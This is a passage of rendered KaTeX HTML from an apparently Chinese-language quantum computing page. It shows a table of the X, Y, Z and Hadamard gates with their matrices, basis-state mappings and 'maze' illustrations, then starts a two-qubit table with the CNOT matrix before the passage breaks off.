class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \vert{}1\rangle \\ \vert{}1\rangle \rightarrow \vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="x_maze.png" width="300"></td></tr><tr><td style="text-align:center">Y</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mi>i</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>i</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 0 &amp; -i \\ i &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord mathnormal">i</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi>i</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi>i</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow i\vert{}1\rangle \\ \vert{}1\rangle \rightarrow -i\vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord mathnormal">i</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="y_maze.png" width="300"></td></tr><tr><td style="text-align:center">Z</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 \\ 0 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \vert{}0\rangle \\ \vert{}1\rangle \rightarrow -\vert{}1\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="z_maze.png" width="300"></td></tr><tr><td style="text-align:center">H</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo stretchy="false">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo stretchy="false">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle + \vert{}1\rangle) \\ \vert{}1\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle - \vert{}1\rangle)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩)</span></span></span></span></td><td style="text-align:center"><img src="h_maze.png" width="300"></td></tr></tbody></table><p>雙閘：</p><table><thead><tr><th style="text-align:center">Gate</th><th style="text-align:center">Matrix</th><th>Vector</th><th style="text-align:center">Maze</th></tr></thead><tbody><tr><td style="text-align:center">CNOT</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; 1 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span 